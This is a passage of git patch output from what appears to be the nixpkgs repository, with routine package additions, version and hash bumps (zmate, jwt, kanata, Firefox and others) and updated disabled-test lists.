+-version = "0.2.0" +-source = "registry+https://github.com/rust-lang/crates.io-index" +-checksum = "5649a5dce1370c707880332f781f6566883736a41861a5749890f4671d5746b6" +-dependencies = [ +- "derive_builder", +- "derive_more", +- "fmt-iter", +- "unicode-width", +-] +- + [[package]] + name = "zip" + version = "0.6.3" +diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml +index c930949..3ae2c83 100644 +--- a/src-tauri/Cargo.toml ++++ b/src-tauri/Cargo.toml +@@ -22,7 +22,6 @@ window-vibrancy = "0.3.2" + window-shadows = { git = "https://github.com/adileo/window-shadows" } + raw-window-handle = "0.5.0" + walkdir = "2" +-parallel-disk-usage = "0.8.3" + regex = "1" + + [target."cfg(target_os = \"windows\")".dependencies] + From bca445dd9f00912abc779cb37f849264e8ef6ac8 Mon Sep 17 00:00:00 2001 From: Silvio Ankermann Date: Tue, 17 Jun 2025 09:59:28 +0200 Subject: [PATCH 151/390] zmate: init at 0.3.1 --- pkgs/by-name/zm/zmate/package.nix | 44 +++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 pkgs/by-name/zm/zmate/package.nix diff --git a/pkgs/by-name/zm/zmate/package.nix b/pkgs/by-name/zm/zmate/package.nix new file mode 100644 index 000000000000..1f0d98e49a49 --- /dev/null +++ b/pkgs/by-name/zm/zmate/package.nix @@ -0,0 +1,44 @@ +{ + lib, + buildGoModule, + fetchFromGitHub, + makeWrapper, + zellij, + nix-update-script, +}: + +buildGoModule (finalAttrs: { + pname = "zmate"; + version = "0.3.1"; + + src = fetchFromGitHub { + owner = "ziinaio"; + repo = "zmate"; + tag = "v${finalAttrs.version}"; + hash = "sha256-7RDcRu41zyYIEwQ3wghesTbGAp6sqe44/sFZTzMqpNA="; + }; + + vendorHash = "sha256-o4RQ2feBP/qt7iv8jUb1zyHJzurjqh+dW3W5qjEuO1o="; + + nativeBuildInputs = [ makeWrapper ]; + postFixup = '' + wrapProgram $out/bin/zmate \ + --suffix PATH ":" ${ + lib.makeBinPath [ + zellij + ] + } + ''; + + passthru = { + updateScript = nix-update-script { }; + }; + + meta = { + description = "Instant terminal sharing using Zellij"; + mainProgram = "zmate"; + homepage = "https://github.com/ziinaio/zmate"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ lykos153 ]; + }; +}) From 02e712b55419d3b9b69d4366f6c1aa52c97784fd Mon Sep 17 00:00:00 2001 From: Fazzi Date: Mon, 23 Jun 2025 14:16:58 +0100 Subject: [PATCH 152/390] app2unit: 0.9.0 -> 0.9.2 --- pkgs/by-name/ap/app2unit/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ap/app2unit/package.nix b/pkgs/by-name/ap/app2unit/package.nix index 776d1940e4c1..bed97c7bdfb5 100644 --- a/pkgs/by-name/ap/app2unit/package.nix +++ b/pkgs/by-name/ap/app2unit/package.nix @@ -6,13 +6,13 @@ }: stdenvNoCC.mkDerivation rec { pname = "app2unit"; - version = "0.9.0"; + version = "0.9.2"; src = fetchFromGitHub { owner = "Vladimir-csp"; repo = "app2unit"; tag = "v${version}"; - sha256 = "fw6Vh3Jyop95TQdOFrpspbauSfqMpd0BZkZVc1k6+K0="; + sha256 = "sha256-CwiB/Co75BbVXem2XD2i7kccgjcDk8a0lXCOoz0QVIc="; }; installPhase = '' From 30be696d9146a2898f0c312985e8cb749449b560 Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Fri, 20 Jun 2025 20:59:54 +0200 Subject: [PATCH 153/390] python3Packages.pytensor: skip failing tests --- .../python-modules/pytensor/default.nix | 141 ++++++++++-------- 1 file changed, 75 insertions(+), 66 deletions(-) diff --git a/pkgs/development/python-modules/pytensor/default.nix b/pkgs/development/python-modules/pytensor/default.nix index db645beaaba0..1f1c456b99ef 100644 --- a/pkgs/development/python-modules/pytensor/default.nix +++ b/pkgs/development/python-modules/pytensor/default.nix @@ -82,72 +82,81 @@ buildPythonPackage rec { rm -rf pytensor ''; - disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [ - # pytensor.link.c.exceptions.CompileError: Compilation failed (return status=1) - "OpFromGraph" - "add" - "cls_ofg1" - "direct" - "multiply" - "test_AddDS" - "test_AddSD" - "test_AddSS" - "test_MulDS" - "test_MulSD" - "test_MulSS" - "test_NoOutputFromInplace" - "test_OpFromGraph" - "test_adv_sub1_sparse_grad" - "test_alloc" - "test_binary" - "test_borrow_input" - "test_borrow_output" - "test_cache_race_condition" - "test_check_for_aliased_inputs" - "test_clinker_literal_cache" - "test_csm_grad" - "test_csm_unsorted" - "test_csr_dense_grad" - "test_debugprint" - "test_ellipsis_einsum" - "test_empty_elemwise" - "test_flatten" - "test_fprop" - "test_get_item_list_grad" - "test_grad" - "test_infer_shape" - "test_jax_pad" - "test_kron" - "test_masked_input" - "test_max" - "test_modes" - "test_mul_s_v_grad" - "test_multiple_outputs" - "test_not_inplace" - "test_numba_Cholesky_grad" - "test_numba_pad" - "test_optimizations_preserved" - "test_overided_function" - "test_potential_output_aliasing_induced_by_updates" - "test_profiling" - "test_rebuild_strict" - "test_runtime_broadcast_c" - "test_scan_err1" - "test_scan_err2" - "test_shared" - "test_size_implied_by_broadcasted_parameters" - "test_solve_triangular_grad" - "test_structured_add_s_v_grad" - "test_structureddot_csc_grad" - "test_structureddot_csr_grad" - "test_sum" - "test_swap_SharedVariable_with_given" - "test_test_value_op" - "test_unary" - "test_unbroadcast" - "test_update_equiv" - "test_update_same" - ]; + disabledTests = + [ + # ValueError: dtype attribute is not a valid dtype instance + "test_AddDS" + "test_AddSD" + "test_add_sd" + "test_grad" + "test_rop" + ] + ++ lib.optionals stdenv.hostPlatform.isDarwin [ + # pytensor.link.c.exceptions.CompileError: Compilation failed (return status=1) + "OpFromGraph" + "add" + "cls_ofg1" + "direct" + "multiply" + "test_AddDS" + "test_AddSD" + "test_AddSS" + "test_MulDS" + "test_MulSD" + "test_MulSS" + "test_NoOutputFromInplace" + "test_OpFromGraph" + "test_adv_sub1_sparse_grad" + "test_alloc" + "test_binary" + "test_borrow_input" + "test_borrow_output" + "test_cache_race_condition" + "test_check_for_aliased_inputs" + "test_clinker_literal_cache" + "test_csm_grad" + "test_csm_unsorted" + "test_csr_dense_grad" + "test_debugprint" + "test_ellipsis_einsum" + "test_empty_elemwise" + "test_flatten" + "test_fprop" + "test_get_item_list_grad" + "test_grad" + "test_infer_shape" + "test_jax_pad" + "test_kron" + "test_masked_input" + "test_max" + "test_modes" + "test_mul_s_v_grad" + "test_multiple_outputs" + "test_not_inplace" + "test_numba_Cholesky_grad" + "test_numba_pad" + "test_optimizations_preserved" + "test_overided_function" + "test_potential_output_aliasing_induced_by_updates" + "test_profiling" + "test_rebuild_strict" + "test_runtime_broadcast_c" + "test_scan_err1" + "test_scan_err2" + "test_shared" + "test_size_implied_by_broadcasted_parameters" + "test_solve_triangular_grad" + "test_structured_add_s_v_grad" + "test_structureddot_csc_grad" + "test_structureddot_csr_grad" + "test_sum" + "test_swap_SharedVariable_with_given" + "test_test_value_op" + "test_unary" + "test_unbroadcast" + "test_update_equiv" + "test_update_same" + ]; disabledTestPaths = [ # Don't run the most compute-intense tests From 28ad82198a2432974e9a27256c244f9d90ec27f8 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 13:32:07 +0000 Subject: [PATCH 154/390] voxinput: 0.3.0 -> 0.4.0 --- pkgs/by-name/vo/voxinput/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/vo/voxinput/package.nix b/pkgs/by-name/vo/voxinput/package.nix index 1b8eb706ac57..cf5ae4a60219 100644 --- a/pkgs/by-name/vo/voxinput/package.nix +++ b/pkgs/by-name/vo/voxinput/package.nix @@ -12,16 +12,16 @@ buildGoModule (finalAttrs: { pname = "voxinput"; - version = "0.3.0"; + version = "0.4.0"; src = fetchFromGitHub { owner = "richiejp"; repo = "VoxInput"; tag = "v${finalAttrs.version}"; - hash = "sha256-ykWb5I3cd3DMDVqYrcmOtCKhLpmob7HBXs5Ek5E7/do="; + hash = "sha256-kIKvgPojlkIpDjxaFsHXEvHX3txW9GbachRFksA/Ymg="; }; - vendorHash = "sha256-OserWlRhKyTvLrYSikNCjdDdTATIcWTfqJi9n4mHVLE="; + vendorHash = "sha256-Qcc/Y7xRaERuu3SIvn/jwTtj+xKii4EZvFsewGG687Y="; nativeBuildInputs = [ makeWrapper From c79710eb5b275c08a637af55ce4dc2595f2984de Mon Sep 17 00:00:00 2001 From: Moraxyc Date: Mon, 23 Jun 2025 21:43:34 +0800 Subject: [PATCH 155/390] python313Packages.jwt: 1.3.1 -> 1.4.0 --- pkgs/development/python-modules/jwt/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/development/python-modules/jwt/default.nix b/pkgs/development/python-modules/jwt/default.nix index 2da80c7e183c..8f2b623ccca6 100644 --- a/pkgs/development/python-modules/jwt/default.nix +++ b/pkgs/development/python-modules/jwt/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "jwt"; - version = "1.3.1"; + version = "1.4.0"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -19,8 +19,8 @@ buildPythonPackage rec { inherit version; owner = "GehirnInc"; repo = "python-jwt"; - rev = "v${version}"; - hash = "sha256-N1J8yBVX/O+92cRp+q2gA2cFsd+C7JjUR9jo0VGoINg="; + tag = "v${version}"; + hash = "sha256-Cv64SmhkETm8mx1Kj5u0WZpCPjPNvC+KS6/XaMzxCho="; }; postPatch = '' From aa4026ae93eaaa0212316afdbf7a2a0e7a2d5629 Mon Sep 17 00:00:00 2001 From: Moraxyc Date: Mon, 23 Jun 2025 21:46:24 +0800 Subject: [PATCH 156/390] python313Packages.jwt: refactor --- pkgs/development/python-modules/jwt/default.nix | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/pkgs/development/python-modules/jwt/default.nix b/pkgs/development/python-modules/jwt/default.nix index 8f2b623ccca6..c420372cee61 100644 --- a/pkgs/development/python-modules/jwt/default.nix +++ b/pkgs/development/python-modules/jwt/default.nix @@ -3,6 +3,7 @@ buildPythonPackage, fetchFromGitHub, pythonOlder, + setuptools, cryptography, freezegun, pytestCheckHook, @@ -12,11 +13,11 @@ buildPythonPackage rec { pname = "jwt"; version = "1.4.0"; - format = "setuptools"; + pyproject = true; + disabled = pythonOlder "3.6"; src = fetchFromGitHub { - inherit version; owner = "GehirnInc"; repo = "python-jwt"; tag = "v${version}"; @@ -28,7 +29,9 @@ buildPythonPackage rec { substituteInPlace setup.cfg --replace "--flake8" "" ''; - propagatedBuildInputs = [ cryptography ]; + build-system = [ setuptools ]; + + dependencies = [ cryptography ]; nativeCheckInputs = [ pytestCheckHook @@ -38,10 +41,10 @@ buildPythonPackage rec { pythonImportsCheck = [ "jwt" ]; - meta = with lib; { + meta = { description = "JSON Web Token library for Python 3"; homepage = "https://github.com/GehirnInc/python-jwt"; - license = licenses.asl20; - maintainers = with maintainers; [ thornycrackers ]; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ thornycrackers ]; }; } From e5beedde9135f6669784673072f50484627d1c6d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 13:48:25 +0000 Subject: [PATCH 157/390] kanata-with-cmd: 1.8.1 -> 1.9.0 --- pkgs/by-name/ka/kanata/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ka/kanata/package.nix b/pkgs/by-name/ka/kanata/package.nix index 1b949d4efc1d..0e3097066f0c 100644 --- a/pkgs/by-name/ka/kanata/package.nix +++ b/pkgs/by-name/ka/kanata/package.nix @@ -12,17 +12,17 @@ }: rustPlatform.buildRustPackage rec { pname = "kanata"; - version = "1.8.1"; + version = "1.9.0"; src = fetchFromGitHub { owner = "jtroo"; repo = "kanata"; rev = "v${version}"; - sha256 = "sha256-w/PeSqj51gJOWmAV5UPMprntdzinX/IL49D2ZUMfeSM="; + sha256 = "sha256-xxAIwiwCQugDXpWga9bQ9ZGfem46rwDlmf64dX/tw7g="; }; useFetchCargoVendor = true; - cargoHash = "sha256-T9fZxv3aujYparzVphfYBJ+5ti/T1VkeCeCqWPyllY8="; + cargoHash = "sha256-LfjuQHR3vVUr2e0efVymnfCnyYkFRx7ZiNdSIjBZc5s="; buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_13 From b9ca25a0820af957d3d2e1c863d9872a0722210f Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 13:56:38 +0000 Subject: [PATCH 158/390] terraform-providers.spotinst: 1.220.2 -> 1.220.3 --- .../networking/cluster/terraform-providers/providers.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/networking/cluster/terraform-providers/providers.json b/pkgs/applications/networking/cluster/terraform-providers/providers.json index 0b5bbae055ab..164f3e6b6a55 100644 --- a/pkgs/applications/networking/cluster/terraform-providers/providers.json +++ b/pkgs/applications/networking/cluster/terraform-providers/providers.json @@ -1246,11 +1246,11 @@ "vendorHash": "sha256-Tft0YjNUtwDH0SliSseXHqMKB2yzQTsAG1Wfc5ihpvE=" }, "spotinst": { - "hash": "sha256-opJqvsqGqsFz2G+5T2JK1tpDxnFmMCxRVrUNYYnuN7s=", + "hash": "sha256-RdSjsqwvAbhSE/CEBlygjwRpwA5ybsr8pNxlX90Z5Mk=", "homepage": "https://registry.terraform.io/providers/spotinst/spotinst", "owner": "spotinst", "repo": "terraform-provider-spotinst", - "rev": "v1.220.2", + "rev": "v1.220.3", "spdx": "MPL-2.0", "vendorHash": "sha256-/UoLwkMCY4PsfNITOQBKWT9bKaReaIISqWyYiTS4/64=" }, From 86450d70fede84144fc77b353c4facd91b6ad9fc Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Mon, 23 Jun 2025 15:57:39 +0200 Subject: [PATCH 159/390] python3Packages.bambi: skip failing test --- pkgs/development/python-modules/bambi/default.nix | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkgs/development/python-modules/bambi/default.nix b/pkgs/development/python-modules/bambi/default.nix index 90b6aa66ff50..a93b495bd481 100644 --- a/pkgs/development/python-modules/bambi/default.nix +++ b/pkgs/development/python-modules/bambi/default.nix @@ -64,6 +64,9 @@ buildPythonPackage rec { disabledTests = [ + # ValueError: dtype attribute is not a valid dtype instance + "test_vonmises_regression" + # AssertionError: assert ( Size: 1B\narray(False) & Size: 1B\narray(False)) # https://github.com/bambinos/bambi/issues/888 "test_beta_regression" From dcdbad28aa05996406f06433bfec1315d62239c6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 14:22:13 +0000 Subject: [PATCH 160/390] terraform-providers.equinix: 3.9.0 -> 3.10.0 --- .../networking/cluster/terraform-providers/providers.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/networking/cluster/terraform-providers/providers.json b/pkgs/applications/networking/cluster/terraform-providers/providers.json index 0b5bbae055ab..5afd831a02cf 100644 --- a/pkgs/applications/networking/cluster/terraform-providers/providers.json +++ b/pkgs/applications/networking/cluster/terraform-providers/providers.json @@ -426,13 +426,13 @@ "vendorHash": "sha256-oVTanZpCWs05HwyIKW2ajiBPz1HXOFzBAt5Us+EtTRw=" }, "equinix": { - "hash": "sha256-1/cKun6sywQeNE7utWoXt84B3kAk5YOmFTjCatwHrqE=", + "hash": "sha256-oKAfDSSY8Ys7wKHSDoFPOOrbXN4cOFq4HYinngjD5xY=", "homepage": "https://registry.terraform.io/providers/equinix/equinix", "owner": "equinix", "repo": "terraform-provider-equinix", - "rev": "v3.9.0", + "rev": "v3.10.0", "spdx": "MIT", - "vendorHash": "sha256-sjEgBLwk/dYUmq+kL0PtamEukXgC9rzeyTT87HK0Y8E=" + "vendorHash": "sha256-kwrRbuMP57knT38w9SmrIs8bPmTaMeflqWb+4cFphew=" }, "exoscale": { "hash": "sha256-RUO4Ge2z4e4N2FWiLtSNv/w2ivgOJVNYQCJvT8hN/8g=", From 3025da9f8760894ee90d3eedaafe7165843fe441 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 14:25:10 +0000 Subject: [PATCH 161/390] lint-staged: 16.1.1 -> 16.1.2 --- pkgs/by-name/li/lint-staged/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/li/lint-staged/package.nix b/pkgs/by-name/li/lint-staged/package.nix index f78481515a27..f10411d8a4a6 100644 --- a/pkgs/by-name/li/lint-staged/package.nix +++ b/pkgs/by-name/li/lint-staged/package.nix @@ -8,16 +8,16 @@ buildNpmPackage rec { pname = "lint-staged"; - version = "16.1.1"; + version = "16.1.2"; src = fetchFromGitHub { owner = "okonet"; repo = "lint-staged"; rev = "v${version}"; - hash = "sha256-DBLS0hMu2mG4+sGhhGjIlfj2y2A33RccEP3plweaKio="; + hash = "sha256-fpUZ4OAkbitsR/eCUVRFuJ+FWtIwZVgDz4dG/RGojP4="; }; - npmDepsHash = "sha256-LJipxwO5B01KlfjOVhlhw5veH2+wpzWm0EwcRdVFleQ="; + npmDepsHash = "sha256-2TXGwQRy+IMksICDy5drCqxP+ng644fQlhG+lvJrCUA="; dontNpmBuild = true; From a69fe005dcd475f5418dbd44866e89c561d888a6 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 06:02:29 +0200 Subject: [PATCH 162/390] nss_latest: 3.112 -> 3.113 https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_113.rst (cherry picked from commit 988f6d69563acccfa49a75a5e3440eaa8c4b8e5e) --- pkgs/development/libraries/nss/latest.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix index a933a6428bc9..51f29eb909ec 100644 --- a/pkgs/development/libraries/nss/latest.nix +++ b/pkgs/development/libraries/nss/latest.nix @@ -5,6 +5,6 @@ # Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert import ./generic.nix { - version = "3.112"; - hash = "sha256-GqMCEGuFg48iOzYwRDjNjSzyy/UJY8gf26k5DqqHlus="; + version = "3.113"; + hash = "sha256-gjkJaNNTqtaMxO6PuRLZ8ATMP88L4LXCtpT84fahcmU="; } From e8c80f28fa6b7aed905e3d2059287dacaf9295cf Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 16:46:18 +0200 Subject: [PATCH 163/390] firefox-unwrapped: 139.0.4 -> 140.0 https://www.mozilla.org/en-US/firefox/140.0/releasenotes/ --- .../networking/browsers/firefox/packages/firefox.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix index 71b05e56578e..89a2292c0cd3 100644 --- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix +++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix @@ -9,10 +9,10 @@ buildMozillaMach rec { pname = "firefox"; - version = "139.0.4"; + version = "140.0"; src = fetchurl { url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "fa5ae798b0cd485e0a56b0c57ed7f33e0d0ef921302dc0169eac91926194abe2070beb54239c81924f819a60b589f305f923970d753c07ba50acc36e1a492db4"; + sha512 = "ef209827a422bab443e2b6fc59ac16f0ad99293b3c8f10a978f222ac8da5ff568b2fadfb97784feeafa4a24883d44ea2f34b47b2bb19863a27e00d2d787b8ad3"; }; meta = { From e0ece2582646de63907926af098e2cfeafb239c6 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 16:47:30 +0200 Subject: [PATCH 164/390] firefox-bin-unwrapped: 139.0.4 -> 140.0 https://www.mozilla.org/en-US/firefox/140.0/releasenotes/ --- .../browsers/firefox-bin/release_sources.nix | 1650 ++++++++--------- 1 file changed, 825 insertions(+), 825 deletions(-) diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix index 5254073e2b7d..a32992b8cde5 100644 --- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix +++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix @@ -1,2477 +1,2477 @@ { - version = "139.0.4"; + version = "140.0"; sources = [ { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ach/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ach/firefox-140.0.tar.xz"; locale = "ach"; arch = "linux-x86_64"; - sha256 = "19ae3a43da28e5c553bbf4f760e8aac79351ba8e9c643af0f2631a2376d92dea"; + sha256 = "8d3ad9d248cfb8914fdd8fbd2060b019bec1df66c1fcf6a349ca6e016ac73b13"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/af/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/af/firefox-140.0.tar.xz"; locale = "af"; arch = "linux-x86_64"; - sha256 = "b79aef52e82d5a9516a78f0f42e68780ef7aade45774a50349ae47e02493d3bb"; + sha256 = "df92ddb1447998d2de420d57059ae92cb7d9f54954e8141b589f74d86e93292c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/an/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/an/firefox-140.0.tar.xz"; locale = "an"; arch = "linux-x86_64"; - sha256 = "c543ad41991d2b3236bbd569ec9a3a6ae7b9e5937be9de9fe09fc82362782768"; + sha256 = "9aeb48cfaa07d5dda4f127d659471554922568cbfb1739263393c1fa00910f2d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ar/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ar/firefox-140.0.tar.xz"; locale = "ar"; arch = "linux-x86_64"; - sha256 = "7d7c6f4952eb844cfc2d99397949e85159ee6213b0bffad340d1a27956a40bfc"; + sha256 = "e38b2a27e79ab92104dad9786a0bbc42548669d6fe2a1f2a5d2bd010ead64b19"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ast/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ast/firefox-140.0.tar.xz"; locale = "ast"; arch = "linux-x86_64"; - sha256 = "d11e10813bf6caef3a3f53f9ab078cd04a6fbcb9f631f79a29f34551ebd8e36e"; + sha256 = "134d2a027f695d751ec1c0e38f26f6ffcde013245d33baffd469fa5bfa87fa14"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/az/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/az/firefox-140.0.tar.xz"; locale = "az"; arch = "linux-x86_64"; - sha256 = "d96a57a592b109a288eb73219f44197eed9513a42f14d9f5f71c2507dc0f8f3d"; + sha256 = "66675677db100d212be5f638d2ebcdc80bfd9b36662e74d800d63d1de307fe58"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/be/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/be/firefox-140.0.tar.xz"; locale = "be"; arch = "linux-x86_64"; - sha256 = "2919a424467a0272ab35a01382c646962f8600ca16bee4176ad5cbad82e6dbc1"; + sha256 = "2d9a00717dfeec4a2f9f9c8ded08177f806fced5a327df562d9bdebe2021b645"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bg/firefox-140.0.tar.xz"; locale = "bg"; arch = "linux-x86_64"; - sha256 = "7777ece2f960ca28ac2312dd18c3bc1d5efb513ddc07e91543dfa77ed94db2f7"; + sha256 = "7593b6b2d76009aa9669b9d75eb4c3dd9d3f2da3f89fab5a2c382ea1ff2ca61e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bn/firefox-140.0.tar.xz"; locale = "bn"; arch = "linux-x86_64"; - sha256 = "3f924e294a5e6fe2cddb55e89112744772c2b46fc4450eae13e4a167a2e91853"; + sha256 = "8a523c11fac1832daed23bd7299e70c98ed664dc5735a3ff56281d5b3b466702"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/br/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/br/firefox-140.0.tar.xz"; locale = "br"; arch = "linux-x86_64"; - sha256 = "812a847532d26309cd2d1fde6150b5e39539ceea15073a15ff4b2cc551586db7"; + sha256 = "39e154f399b8a0f8d33505b9b4cee9107a953ede49e633339b84ce034c547542"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/bs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/bs/firefox-140.0.tar.xz"; locale = "bs"; arch = "linux-x86_64"; - sha256 = "41ca24213010d602e2e1bacf62cd3067dc5c635025c0f52df453cc17276a19ae"; + sha256 = "e6bb1f62f62a285ffeedd76cbba32fb36946f3034f11f8024e3397d79eb10edb"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca-valencia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca-valencia/firefox-140.0.tar.xz"; locale = "ca-valencia"; arch = "linux-x86_64"; - sha256 = "4a7a838e799b0c562538a907b6a9d6b62308a5a5c30a80d92d925dec2a53f7c6"; + sha256 = "a9ecdcd7f3d5abab9e1dbbc08974a7bd125a3dca4bb5d50b2c5f6a67c00ae9ab"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ca/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ca/firefox-140.0.tar.xz"; locale = "ca"; arch = "linux-x86_64"; - sha256 = "aef43b035212bb41aa691e7d8c312665bd97787f68c72a334e6a93623e8d21d1"; + sha256 = "8d795bbf146652e3adaabbc2eac1293698095272ed62e2bb83b01066055a651c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cak/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cak/firefox-140.0.tar.xz"; locale = "cak"; arch = "linux-x86_64"; - sha256 = "3ed2e87b31317ee971b7bb96a8dd7badf8e2fceec526b764fbaac90b4f0065f3"; + sha256 = "27a4deda5c24b5d35fc1ddf899848ee07cfb65380e974efe60aed88407535f28"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cs/firefox-140.0.tar.xz"; locale = "cs"; arch = "linux-x86_64"; - sha256 = "b61df9364e2bc3505596890983a29e6ba0da82f9983d54e101876c5d3f5e959c"; + sha256 = "bdb36636dd031d6aeffad41e54931671f96bbfae37a3eaa7714dc3c4079eab0c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/cy/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/cy/firefox-140.0.tar.xz"; locale = "cy"; arch = "linux-x86_64"; - sha256 = "222132c847107c81b9c929efadcb0181366379e62ae10f11a353ed5fe91f896a"; + sha256 = "841a947889747215a01a25113ca803acdd937a3d046aa0ba6cf419276165d7dc"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/da/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/da/firefox-140.0.tar.xz"; locale = "da"; arch = "linux-x86_64"; - sha256 = "3d6c51d6cab42c94c1537f7ca9f871ae023bb58596fcf1214676b33ce073fec7"; + sha256 = "b69a78fcce24e1a84c3781c5a5d94bc3c5abfaa13fb9a4e2a05e4fc4c5d3731f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/de/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/de/firefox-140.0.tar.xz"; locale = "de"; arch = "linux-x86_64"; - sha256 = "a47df34f27af806d3022034975b9cddd358ab3289e430f361c12f877ee24684d"; + sha256 = "30dd36b419f875ea499f95b858801d781d83d141c5f16e4c1a2422d309ddcec6"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/dsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/dsb/firefox-140.0.tar.xz"; locale = "dsb"; arch = "linux-x86_64"; - sha256 = "11bdcc776d0c2e6402b56af730b11e870a6f049d31a5090f642c8096e7dd2898"; + sha256 = "3cf270312ce09b888aa23078cc9b7075e078ed198a49e8f64cb513291050ade7"; } { - url = 